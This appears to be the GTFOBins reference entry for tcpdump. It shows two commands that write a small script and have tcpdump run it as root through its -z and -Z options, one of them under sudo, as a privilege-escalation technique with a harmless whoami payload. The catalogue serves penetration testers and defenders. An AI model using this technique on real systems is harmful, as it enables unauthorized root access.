GTFOBins.github.io/_gtfobins/tcpdump.md

functions
execute-non-interactive sudo-enabled code echo "whoami > /tmp/whoami" > /tmp/tmpfile tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root code echo "whoami > /tmp/whoami" > /tmp/tmpfile sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root